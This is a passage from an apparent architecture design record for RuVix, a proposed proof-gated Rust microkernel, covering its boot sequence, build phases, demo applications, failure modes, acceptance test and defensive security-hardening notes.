&mutation, proof)`.\n6. The kernel verifies: (a) the proof token matches the mutation hash, (b) the token has not expired, (c) the nonce has not been used, (d) the calling task holds `PROVE` rights on the graph.\n7. If all checks pass, the mutation is applied and an attestation is emitted to the witness log.\n8. If any check fails, the syscall returns `Err(ProofRejected)` and no state changes.\n\n### 8.3 Proof Composition\n\nRegional proofs compose. When multiple mutations within a mincut partition are all proved individually, a partition-level proof can be derived (see ADR-047 Section 4). The kernel maintains partition coherence scores and can fast-path mutations within a coherent partition using `Reflex` tier proofs.\n\n---\n\n## 9. RVF Boot Sequence\n\n### 9.1 Boot Protocol\n\nRuVix boots from a single signed RVF file. The boot sequence is:\n\n```\nPower On / Hypervisor Start\n \u2502\n \u25bc\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Stage 0: Hardware Init (AArch64) \u2502\n\u2502 - Initialize MMU with identity mapping \u2502\n\u2502 - Initialize UART for early console \u2502\n\u2502 - Detect available memory, cache topology \u2502\n\u2502 - If TEE: initialize realm/enclave \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502\n \u25bc\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Stage 1: RVF Manifest Parse \u2502\n\u2502 - Read 4 KB boot manifest from RVF header \u2502\n\u2502 - Verify ML-DSA-65 signature (post-quantum) \u2502\n\u2502 - Parse component graph \u2502\n\u2502 - Parse memory schema (region requirements) \u2502\n\u2502 - Parse proof policy \u2502\n\u2502 - Parse witness log policy \u2502\n\u2502 - Parse rollback hooks \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502\n \u25bc\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Stage 2: Kernel Object Creation \u2502\n\u2502 - Create root task with all capabilities \u2502\n\u2502 - Create initial regions from memory schema \u2502\n\u2502 - Create boot queue for init messages \u2502\n\u2502 - Initialize kernel witness log (append) \u2502\n\u2502 - Initialize kernel vector store (if spec.) \u2502\n\u2502 - Initialize kernel graph store (if spec.) \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502\n \u25bc\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Stage 3: Component Mount \u2502\n\u2502 - Mount RVF components per component graph \u2502\n\u2502 - Distribute capabilities per manifest \u2502\n\u2502 - Spawn initial tasks per WIT entry points \u2502\n\u2502 - Connect queues per manifest wiring \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502\n \u25bc\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Stage 4: First Attestation \u2502\n\u2502 - Emit boot attestation to witness log \u2502\n\u2502 - Record: RVF hash, capability table hash, \u2502\n\u2502 region layout hash, timestamp \u2502\n\u2502 - System is now live \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n### 9.2 RVF as Boot Object\n\nAn RVF boot package is a complete cognitive unit containing:\n\n| Section | Purpose | Size Budget |\n|---------|---------|-------------|\n| Manifest | Component graph, memory schema, proof policy, rollback hooks, witness log policy | 4 KB |\n| Signatures | ML-DSA-65 package signature + per-component signatures | 2-8 KB |\n| WIT/ABI | Component interface types (WASM Interface Types) | 1-16 KB |\n| Component Graph | DAG of components with queue wiring and capability grants | 1-4 KB |\n| Memory Schema | Region declarations (size, policy, initial content) | 1-4 KB |\n| Proof Policy | Per-component proof tier requirements | 512 B - 2 KB |\n| Rollback Hooks | WASM functions for state rollback on proof failure | 1-8 KB |\n| Witness Log Policy | Retention, compression, export rules for attestations | 256 B - 1 KB |\n| WASM Components | Compiled WASM component binaries | 8 KB - 16 MB |\n| Initial Data | Pre-loaded vectors, graph state, model weights | 0 - 1 GB |\n\n### 9.3 Deterministic Replay\n\nBecause every mutation is witnessed and every input is queued, a RuVix system can replay from any checkpoint:\n\n1. Load a checkpoint RVF (containing region snapshots + witness log prefix)\n2. Replay queued messages in witness-log order\n3. Re-verify proofs at each mutation\n4. The resulting state must be identical (bit-for-bit) to the original\n\nThis is the foundation of the acceptance test (Section 12).\n\n---\n\n## 10. RuView as Perception Plane\n\n### 10.1 Position in Architecture\n\nRuView sits outside the kernel but close \u2014 it is the first RVF component layer. Its job is to normalize external signals into typed, coherence-scored events and publish them into kernel queues.\n\n### 10.2 Sensor Abstraction\n\n```rust\n/// A sensor descriptor identifies a data source for RuView.\npub struct SensorDescriptor {\n /// Sensor type: Camera, Microphone, NetworkTap, MarketFeed, GitStream, etc.\n sensor_type: SensorType,\n /// Device identifier (hardware address, URL, stream ID).\n device_id: DeviceId,\n /// Filter expression (e.g., \"symbol=AAPL\" or \"file_ext=.rs\").\n filter: Option<FilterExpr>,\n /// Requested sampling rate (events per second, 0 = all).\n sample_rate: u32,\n}\n```\n\n### 10.3 Event Normalization\n\nRuView transforms raw sensor data into `PerceptionEvent` structs carrying: a vector embedding (matching kernel store dimensionality), a coherence score relative to recent context, a causal hash linking to the previous event from the same sensor, and a nanosecond timestamp. Events flow through `sensor_subscribe` into kernel queues where agent tasks consume them.\n\n---\n\n## 11. AgentDB as Planner/Intelligence Runtime\n\n### 11.1 Explicit Non-Kernel Placement\n\nAgentDB, Claude Code, Codex, and all AI reasoning systems are NOT in the trusted kernel. They are RVF components running in user space with:\n\n- Capability-restricted access to vector stores (read + proved write)\n- Queue-based communication (no direct kernel memory access)\n- Proof-gated mutation (the intelligence runtime cannot modify state without passing through the proof engine)\n\nThis is a deliberate security boundary. The kernel trusts mathematics (proofs, hashes, capabilities). It does not trust neural networks.\n\n### 11.2 Control Plane Adapters\n\nClaude Code and Codex connect to RuVix as control plane adapters:\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 queue \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 syscall \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Claude Code \u2502\u25c0\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25b6\u2502 AgentDB \u2502\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25b6\u2502 RuVix \u2502\n\u2502 (external) \u2502 WebSocket \u2502 (RVF comp.) \u2502 cap-gated \u2502 Kernel \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\nThe adapter translates natural language intent into typed mutations with proof requests. The kernel neither knows nor cares that the mutation originated from an LLM.\n\n---\n\n## 12. Build Path\n\n### Phase A: Linux-Hosted Nucleus (Days 1-60)\n\n**Goal**: Implement all 12 syscalls as a Rust library running in Linux userspace. Freeze the ABI.\n\n| Week | Milestone | Deliverable |\n|------|-----------|-------------|\n| 1-2 | Core types | `ruvix-types` crate: all kernel object types, capability types, proof types. No_std compatible. |\n| 3-4 | Region manager | `ruvix-region` crate: slab allocator, append-only regions, immutable regions. Uses mmap on Linux. |\n| 5-6 | Queue IPC | `ruvix-queue` crate: io_uring-style ring buffers in shared memory. Lock-free send/recv. |\n| 7-8 | Capability manager | `ruvix-cap` crate: capability table, derivation tree, revocation propagation. |\n| 9-10 | Proof engine | `ruvix-proof` crate: proof token generation/verification, witness log. Integrates `ruvector-verified`. |\n| 11-12 | Vector/Graph kernel objects | `ruvix-vecgraph` crate: kernel-resident vector and graph stores using regions. Integrates `ruvector-core` and `ruvector-graph-transformer`. |\n| 13-14 | Scheduler | `ruvix-sched` crate: coherence-aware task scheduler. Runs as a Linux thread scheduler. |\n| 15-16 | RVF boot loader | `ruvix-boot` crate: RVF package parsing, component mounting, capability distribution. |\n| 17-18 | Integration + ABI freeze | `ruvix-nucleus` crate: all subsystems integrated. ABI frozen. Acceptance test passes. |\n\n**Phase A Acceptance Test**: A signed RVF boots in the Linux-hosted nucleus, consumes a simulated RuView event from a queue, performs one proof-gated vector mutation, emits an attestation to the witness log, shuts down, restarts from checkpoint, replays to the same state, and the final vector store contents are bit-identical.\n\n### Phase B: Bare Metal AArch64 Microkernel (Days 60-120)\n\n**Goal**: Run the same ABI on bare metal AArch64 (Raspberry Pi 4/5, QEMU virt).\n\n| Week | Milestone | Deliverable |\n|------|-----------|-------------|\n| 19-22 | AArch64 bootstrap | Exception vectors, MMU setup, UART driver, physical memory manager. |\n| 23-26 | Region \u2192 physical memory | Replace mmap with direct physical page allocation. Implement region policies on hardware page tables. |\n| 27-30 | Interrupt \u2192 queue | GIC (Generic Interrupt Controller) driver delivering interrupts as queue messages. Timer driver for `timer_wait`. |\n| 31-34 | WASM component runtime | Embedded Wasmtime or wasm-micro-runtime for executing RVF WASM components on bare metal. |\n| 35-38 | Scheduler on hardware | Coherence-aware scheduler using AArch64 timer interrupts for preemption. |\n| 39-42 | Acceptance test on hardware | Same acceptance test as Phase A, running on QEMU AArch64 virt machine. |\n\n### No Phase C\n\nThere is no POSIX compatibility layer. RuVix does not implement `open()`, `read()`, `write()`, `fork()`, `exec()`, or any POSIX syscall. Applications that need POSIX run on Linux. RuVix runs cognitive workloads.\n\n---\n\n## 13. Demo Applications\n\n### 13.1 Application Matrix\n\n| # | Application | Category | Kernel Features Exercised | Complexity |\n|---|-------------|----------|---------------------------|------------|\n| 1 | **Proof-Gated Vector Journal** | Foundational | vector_put_proved, attest_emit, deterministic replay | Low |\n| 2 | **Edge ML Inference Pipeline** | Practical | rvf_mount, queue IPC, sensor_subscribe, vector_get, timer_wait | Medium |\n| 3 | **Autonomous Drone Swarm Coordinator** | Practical | task_spawn (per-drone), cap_grant (dynamic trust), queue mesh, coherence scheduler | High |\n| 4 | **Self-Healing Knowledge Graph** | Practical | graph_apply_proved, coherence scoring, proof composition, rollback hooks | High |\n| 5 | **Collective Intelligence Mesh** | Exotic | Multi-kernel federation via queue bridges, cross-kernel cap_grant, distributed proof composition | Very High |\n| 6 | **Quantum-Coherent Memory Replay** | Exotic | Superposition-tagged vectors, deferred proof resolution, probabilistic region policies | Very High |\n| 7 | **Biological Signal Processor** | Exotic | sensor_subscribe (EEG/EMG), real-time coherence scoring, deadline scheduling, witness-backed diagnostics | High |\n| 8 | **Adversarial Reasoning Arena** | Exotic | Competing agent tasks with conflicting proof policies, capability isolation, coherence arbitration | Very High |\n\n### 13.2 Demo 1: Proof-Gated Vector Journal\n\nThe simplest demonstration of the kernel's core invariant.\n\n```\nRVF Package: vector_journal.rvf\nComponents:\n - writer: Generates random vectors, requests proofs, calls vector_put_proved\n - reader: Periodically calls vector_get, verifies coherence metadata\n - auditor: Reads witness log, verifies attestation chain integrity\n\nTest scenario:\n 1. Writer stores 1000 vectors with valid proofs \u2192 all succeed\n 2. Writer attempts store without proof \u2192 kernel rejects (Err(ProofRejected))\n 3. Writer attempts store with expired proof \u2192 kernel rejects\n 4. System checkpoints, restarts, replays \u2192 final state identical\n 5. Auditor verifies: witness log contains exactly 1000 attestations\n```\n\n### 13.3 Demo 2: Edge ML Inference Pipeline\n\nAn RVF package that runs a complete ML inference pipeline on an edge device.\n\n```\nRVF Package: edge_inference.rvf\nComponents:\n - sensor_adapter: Subscribes to camera sensor, emits frame embeddings to queue\n - feature_store: Kernel vector store holding reference embeddings\n - classifier: Receives embeddings, queries feature_store, emits classifications\n - model_updater: Periodically receives new model weights via queue,\n performs proof-gated update of feature_store\n\nKernel features:\n - sensor_subscribe for camera frames\n - queue_send/recv for pipeline stages\n - vector_get for nearest-neighbor lookup\n - vector_put_proved for model updates (proof-gated)\n - timer_wait for periodic model refresh\n - Coherence scheduler prioritizes inference over model updates\n```\n\n### 13.4 Demo 3: Autonomous Drone Swarm Coordinator\n\n```\nRVF Package: drone_swarm.rvf\nComponents:\n - coordinator: Maintains global mission graph, assigns waypoints\n - drone_agent[N]: Per-drone task with position vectors, local planning\n - trust_manager: Dynamically adjusts capabilities based on drone behavior\n - coherence_monitor: Watches for swarm fragmentation (graph mincut)\n\nKernel features:\n - task_spawn per drone agent (dynamic fleet scaling)\n - cap_grant/revoke for dynamic trust (misbehaving drone loses capabilities)\n - graph_apply_proved for mission graph updates\n - Coherence scheduler penalizes plans that fragment the swarm graph\n - Deterministic replay for post-mission analysis\n```\n\n### 13.5 Demo 4: Self-Healing Knowledge Graph\n\n```\nRVF Package: knowledge_graph.rvf\nComponents:\n - ingestor: Consumes knowledge events, proposes graph mutations\n - coherence_checker: Evaluates proposed mutations against graph invariants\n - healer: Detects coherence drops, proposes compensating mutations\n - checkpoint_manager: Periodic state snapshots with rollback hooks\n\nKernel features:\n - graph_apply_proved for every knowledge mutation\n - Proof composition across mincut partitions\n - Rollback hooks triggered when coherence drops below threshold\n - Witness log provides complete audit trail for knowledge provenance\n```\n\n### 13.6 Demo 5: Collective Intelligence Mesh\n\nMultiple RuVix instances forming a distributed cognitive fabric. Each node runs its own kernel with local vector/graph stores. Queue bridges (network-backed queues) connect nodes. Cross-kernel capability delegation works via attested queue messages. Distributed proof composition allows node A to prove locally while node B verifies. The mesh self-organizes via coherence gradients with no central coordinator. Knowledge migrates toward nodes that use it (vector locality). Proof chains span multiple kernels (federated attestation via `ruvector-raft`).\n\n### 13.7 Demo 6: Quantum-Coherent Memory Replay\n\nA speculative demonstration exploring quantum-inspired memory semantics. Vectors are stored in superposition states (multiple weighted values). Proof resolution collapses superposition to a definite value. Until observed via `vector_get`, mutations accumulate as unresolved proofs. Replay can explore alternative proof resolution paths by checkpointing, resolving proofs differently, and comparing outcomes. Requires an experimental `Superposition` region policy not in the initial kernel.\n\n### 13.8 Demo 7: Biological Signal Processor\n\nEEG and EMG sensor adapters emit neural/muscle signal vectors via `sensor_subscribe`. A fusion engine combines them into intent vectors. Hard deadline scheduling (256 Hz = 3.9ms deadline) ensures real-time processing. Coherence scoring detects anomalous signals (seizure detection). Witness-backed diagnostics provide regulatory compliance audit trails. Proof-gated model updates prevent untested parameter changes in clinical settings.\n\n### 13.9 Demo 8: Adversarial Reasoning Arena\n\nTwo competing agent tasks (red/blue) propose mutations to maximize conflicting objectives on a shared graph. An arbiter evaluates competing proofs and grants mutations to the stronger proof. Capability isolation prevents agents from accessing each other's state. The coherence-aware scheduler penalizes agents that lower coherence. The full witness log enables post-hoc analysis of adversarial dynamics and emergent strategies.\n\n---\n\n## 14. Failure Modes and Mitigations\n\n| Failure Mode | Impact | Mitigation |\n|---|---|---|\n| **Proof engine unavailable** | All mutations blocked (no proof tokens issued) | Kernel maintains a Reflex-tier proof cache for critical paths. Cache entries have short TTL (100ms). If proof engine is down for >1s, kernel emits a diagnostic attestation and suspends non-critical tasks. |\n| **Witness log full** | New attestations cannot be written; mutations blocked | Append-only regions have configurable max size. When 90% full, kernel emits a compaction request to the witness manager component. At 100%, kernel rejects mutations until space is freed. Witness log is never truncated \u2014 only checkpointed and archived. |\n| **Coherence score collapse** | Scheduler deprioritizes all mutation tasks; system stalls | Coherence floor threshold triggers automatic rollback to last checkpoint where coherence was above threshold. Rollback hooks in the RVF manifest execute compensating logic. |\n| **Capability leak (over-granting)** | Task gains access to resources beyond its intended scope | Revocation propagates through derivation tree. Periodic capability audit compares held capabilities against manifest-declared permissions. Discrepancies trigger automatic revocation. |\n| **Vector store capacity exhausted** | `vector_put_proved` returns `OutOfMemory` | Pre-allocated capacity is declared in RVF manifest. Resource manager component is responsible for eviction policy (LRU by coherence score, quantization-based compression). Kernel enforces capacity limits. |\n| **Queue overflow** | `queue_send` returns `QueueFull`; producer back-pressure | Ring buffer size is declared at queue creation. Producers must handle `QueueFull` by retrying or dropping low-priority messages. Kernel never silently drops messages. |\n| **Malicious RVF package** | Arbitrary code execution, capability theft | RVF signature verification at `rvf_mount` time. WASM component sandboxing. Component capabilities are limited to what the manifest declares and the mounting task grants. No ambient authority. |\n| **AArch64 hardware fault** | Kernel panic, data corruption | Region checksums enable corruption detection. Append-only witness log survives if storage is intact. Replay from last checkpoint recovers state. TEE attestation detects hardware tampering. |\n\n---\n\n## 15. Consequences\n\n### 15.1 Positive\n\n1. **Proof-gated mutation as kernel invariant**: Every state change is auditable, replayable, and formally justified. This eliminates entire categories of bugs (unauthorized writes, silent corruption, untracked state drift).\n\n2. **Zero-overhead vector/graph operations**: Vector and graph stores as kernel objects eliminate the syscall-per-query overhead of running a vector database as a userspace service. Distance computations can use kernel-privileged SIMD/SVE instructions.\n\n3. **Deterministic replay**: Because every input is queued, every mutation is proved, and every effect is witnessed, the system can replay from any checkpoint to reproduce any state. This is invaluable for debugging, auditing, and regulatory compliance.\n\n4. **Minimal attack surface**: 12 syscalls, 6 primitives, capability-only access. The kernel TCB is orders of magnitude smaller than Linux (~30M LOC) or even seL4 (~8.7K LOC verified C + ~600 LOC assembly). Target: <15K LOC Rust.\n\n5. **RVF as universal deployment unit**: A single signed file contains code, data, capabilities, proof policies, and rollback hooks. No package managers, no container runtimes, no dependency hell.\n\n6. **Coherence-aware scheduling**: The scheduler understands semantic content, not just priority numbers. This enables intelligent resource allocation in cognitive workloads.\n\n7. **Natural integration with RuVector**: All 107 existing crates can be compiled as RVF components. The kernel's vector/graph objects use the same formats and algorithms as `ruvector-core` and `ruvector-graph-transformer`.\n\n### 15.2 Negative\n\n1. **No POSIX compatibility**: Existing software cannot run on RuVix without rewriting. This limits the ecosystem to purpose-built RVF components.\n\n2. **Hardware support initially limited**: AArch64-first means no x86_64 bare metal in Phase B. x86_64 support requires a separate BSP effort.\n\n3. **Proof overhead on hot paths**: Even `Reflex` tier proofs add ~100ns per mutation. For workloads with millions of mutations per second, this is measurable. Mitigation: batch mutations under a single partition proof.\n\n4. **No dynamic memory allocation**: Pre-allocated regions mean the system must know its memory requirements at boot time. Dynamic workloads require a resource manager component with eviction/compaction policies.\n\n5. **Unfamiliar programming model**: Developers accustomed to POSIX, threads, and mutexes must learn capabilities, queues, and proof-gated mutation. Documentation and tooling investment is required.\n\n### 15.3 Risks\n\n| Risk | Likelihood | Impact | Mitigation |\n|------|-----------|--------|------------|\n| ABI instability during Phase A | Medium | High \u2014 breaks all existing RVF components | Freeze ABI at week 18. No changes without ADR amendment. |\n| WASM component model immaturity | Medium | Medium \u2014 limits component interoperability | Pin to WASI Preview 2. Maintain a WIT type registry. |\n| Performance regression vs. Linux-hosted RuVector | Low | High \u2014 undermines the motivation | Benchmark suite comparing Linux-hosted vs. RuVix-native for vector ops, graph mutations, queue throughput. |\n| Formal verification infeasibility | High | Medium \u2014 limits trust claims | Do not claim formal verification in v1. Focus on testing and deterministic replay as the verification mechanism. |\n| Single-developer dependency | High | High \u2014 project stalls if key contributor leaves | Document everything in ADRs. Keep kernel small enough for one person to understand fully. |\n\n---\n\n## 16. Integration with Existing RuVector Crates\n\n### 16.1 Crate Mapping\n\n| Existing Crate | RuVix Role | Integration Path |\n|---|---|---|\n| `ruvector-core` | Kernel vector store implementation | Extract HNSW algorithm into `ruvix-vecgraph`. Use slab regions instead of `Vec<T>`. |\n| `ruvector-graph-transformer` | Kernel graph store implementation | Extract graph mutation logic into `ruvix-vecgraph`. Proof-gate via kernel syscalls. |\n| `ruvector-verified` | Proof engine foundation | `ProofGate<T>`, `ProofEnvironment`, `ProofAttestation` become kernel types. `ruvix-proof` wraps these. |\n| `cognitum-gate-kernel` | Coherence scoring reference | Port 256-tile coherence fabric to operate on kernel graph store regions. |\n| `ruvector-coherence` | Scheduler coherence signal | Coherence score computation feeds into `compute_priority()`. |\n| `ruvector-mincut` | Graph partitioning for proof composition | MinCut partitions define proof composition boundaries. |\n| `rvf` | Boot loader format parser | `ruvix-boot` depends on `rvf` for manifest parsing and signature verification. |\n| `ruvector-raft` | Multi-kernel consensus (Demo 5) | Queue-bridge Raft for distributed coherence in collective intelligence mesh. |\n| `ruvector-snapshot` | Checkpoint/restore | Region snapshots for deterministic replay and rollback. |\n| `sona` | AgentDB intelligence runtime | Runs as RVF component in user space. Communicates via queues. |\n| `ruvllm` | ML inference component | Runs as RVF component. Uses `vector_get` for retrieval, proof-gated weight updates. |\n| `ruvector-temporal-tensor` | Time-series vector storage | Append-only regions are a natural fit for temporal tensor data. |\n\n### 16.2 Shared No_std Types\n\nA new `ruvix-types` crate (no_std, no alloc) defines all kernel interface types. This crate is depended on by both kernel code and RVF component code, ensuring type-level compatibility across the boundary.\n\n```toml\n[package]\nname = \"ruvix-types\"\nversion = \"0.1.0\"\nedition = \"2021\"\n\n[features]\ndefault = []\nstd = []\nalloc = []\n\n[dependencies]\n# Zero external dependencies for the kernel type crate\n```\n\n---\n\n## 17. Acceptance Test Specification\n\nThe acceptance test is the single gate for Phase A completion. It is not a unit test \u2014 it is a system-level integration test that exercises every kernel subsystem.\n\n### 17.1 Test Procedure\n\n```\nGIVEN:\n - A signed RVF package \"acceptance.rvf\" containing:\n - A sensor_adapter component (simulated)\n - A vector_store component (kernel-resident, capacity=100)\n - A proof_engine component\n - A writer component\n - A reader component\n - Proof policy: Standard tier for all mutations\n - Witness log policy: retain all, no compression\n\nWHEN:\n Step 1: rvf_mount(\"acceptance.rvf\", \"/test\", root_cap)\n Step 2: sensor_adapter emits one PerceptionEvent to queue\n Step 3: writer receives event, computes embedding vector\n Step 4: writer requests proof from proof_engine\n Step 5: writer calls vector_put_proved(store, key, vector, proof)\n Step 6: kernel verifies proof, applies mutation, emits attestation\n Step 7: reader calls vector_get(store, key)\n Step 8: System checkpoints (region snapshots + witness log)\n Step 9: System shuts down\n Step 10: System restarts from checkpoint\n Step 11: System replays witness log\n Step 12: reader calls vector_get(store, key) again\n\nTHEN:\n - Step 5 returns Ok(attestation) with 82-byte witness\n - Step 7 returns the exact vector and coherence metadata\n - Step 12 returns the EXACT SAME vector and coherence metadata as Step 7\n - Witness log contains exactly: 1 boot attestation + 1 mount attestation + 1 mutation attestation\n - No proof-less mutation was accepted at any point\n - Total replay time < 2x original execution time\n```\n\n---\n\n## 18. Comparison with Prior Art\n\n| Property | Linux | seL4 | Zephyr | Hermit | RuVix |\n|---|---|---|---|---|---|\n| Kernel LOC | ~30M | ~8.7K | ~200K | ~50K | <15K (target) |\n| Primitives | process, file, socket, signal, pipe | TCB, CNode, endpoint, notification, untyped | thread, semaphore, FIFO, timer | process (unikernel) | task, capability, region, queue, timer, proof |\n| Syscalls | ~450 | ~12 | ~150 | POSIX subset | 12 |\n| Memory model | virtual memory + demand paging | untyped + retype | flat or MPU regions | single address space | regions (immutable/append/slab) |\n| IPC | pipe, socket, signal, shmem | synchronous endpoint | FIFO, mailbox, pipe | POSIX | queue (io_uring-style) |\n| Access control | DAC/MAC (users, groups, SELinux) | capabilities | none (trusted code) | none (unikernel) | capabilities + proof |\n| Vector/graph native | no | no | no | no | yes (kernel objects) |\n| Proof-gated mutation | no | no | no | no | yes (kernel invariant) |\n| Formal verification | no | yes (functional correctness) | no | no | no (v1), replay-based |\n| POSIX compatible | yes | no (but has CAmkES) | partial | yes | no |\n| Hardware target | all | ARM, RISC-V, x86 | MCUs | x86_64, aarch64 | AArch64 (primary) |\n\n---\n\n## 19. Open Questions\n\n1. **Maximum proof verification time?** Should `Deep` tier proofs >10ms be rejected? Position: yes, configurable per-partition timeout.\n2. **Vector quantization: in-kernel or in-component?** Position: in-component; kernel stores pre-quantized data.\n3. **Multi-kernel conflicting proofs?** Position: Raft consensus (`ruvector-raft`) with coherence score tiebreaker.\n4. **Hot-swapping RVF components?** Position: add `rvf_unmount` in a future ABI revision, not in initial 12 syscalls.\n5. **Minimum viable Phase B hardware?** Position: Raspberry Pi 4 (Cortex-A72) for accessibility, validate on Pi 5 (Cortex-A76).\n\n6. **Boot signature failure behavior?** Position: boot halts (kernel panic) on signature verification failure \u2014 no fallback, diagnostic to UART.\n7. **Slab slot use-after-free?** Position: slab allocations return capability-protected handles with per-slot generation counters; stale handles are detected and rejected.\n8. **Queue schema validation boundary?** Position: kernel validates message size and WIT type tag at `queue_send` time; deep structural validation is receiver-side. Document this as a trust boundary.\n\n---\n\n## 20. Security Hardening Notes\n\nIdentified during pre-release security audit. All are specification clarifications, not structural flaws.\n\n### 20.1 Root Task Privilege Attenuation\n\nThe root task holds capabilities for all physical memory at boot. After Stage 3 component mounting completes, the root task MUST drop all capabilities except its own task handle and the kernel witness log (read-only). If the root task is implemented as a persistent init component, it retains only the minimum capability set declared in its RVF manifest. This prevents a compromised root task from owning the entire system post-boot.\n\n### 20.2 Capability Delegation Depth Limit\n\n`cap_grant` with `GRANT` right enables transitive delegation chains. To prevent unbounded delegation: maximum delegation depth is 8 (configurable per-RVF). A `GRANT_ONCE` right (non-transitive) is available for cases where a task should delegate access but not the ability to further delegate. The periodic capability audit (Section 14) flags delegation chains deeper than 4.\n\n### 20.3 Boot RVF Proof Bootstrap\n\nMounting the Proof Engine itself cannot require a user-space proof (circular dependency). Resolution: Stage 3 component mounting from the cryptographically-signed boot RVF is the single kernel-trusted path that bypasses proof token requirements. Post-boot `rvf_mount` calls always require proof tokens from the now-running Proof Engine. The boot RVF's signature verification at Stage 1 provides equivalent assurance.\n\n### 20.4 Reflex Proof Cache Scoping\n\nThe Reflex-tier proof cache (Section 14, proof engine unavailable mitigation) caches proof tokens scoped to a specific `(mutation_hash, nonce)` pair, not to operation classes. Cached proofs are single-use (nonce consumed on first verification). Cache entries have 100ms TTL. The cache size is bounded (default: 64 entries). This prevents window-of-opportunity attacks where coherence degrades between cache insertion and consumption.\n\n### 20.5 Zero-Copy IPC TOCTOU Mitigation\n\nWhen `queue_send` places a descriptor referencing a shared region, the referenced data segment must be in an `Immutable` or `AppendOnly` region. The kernel rejects `queue_send` descriptors pointing into `Slab` regions (which permit overwrites). This eliminates time-of-check-to-time-of-use attacks where a sender modifies shared data after the receiver reads the descriptor but before it processes the content.\n\n### 20.6 Boot Signature Failure\n\nIf ML-DSA-65 signature verification fails at Stage 1, the kernel panics immediately. There is no fallback boot path, no recovery mode, and no unsigned boot option. A diagnostic message is written to UART (if initialized). This is a deliberate design choice: a system that boots unsigned code provides no security guarantees.\n\n---\n\n## 21. References\n\n1. **seL4 Microkernel** \u2014 Klein et al., \"seL4: Formal Verification of an OS Kernel,\" SOSP 2009. The capability model and \"kernel creates nothing after boot\" principle directly inspire RuVix's capability manager.\n\n2. **io_uring** \u2014 Axboe, 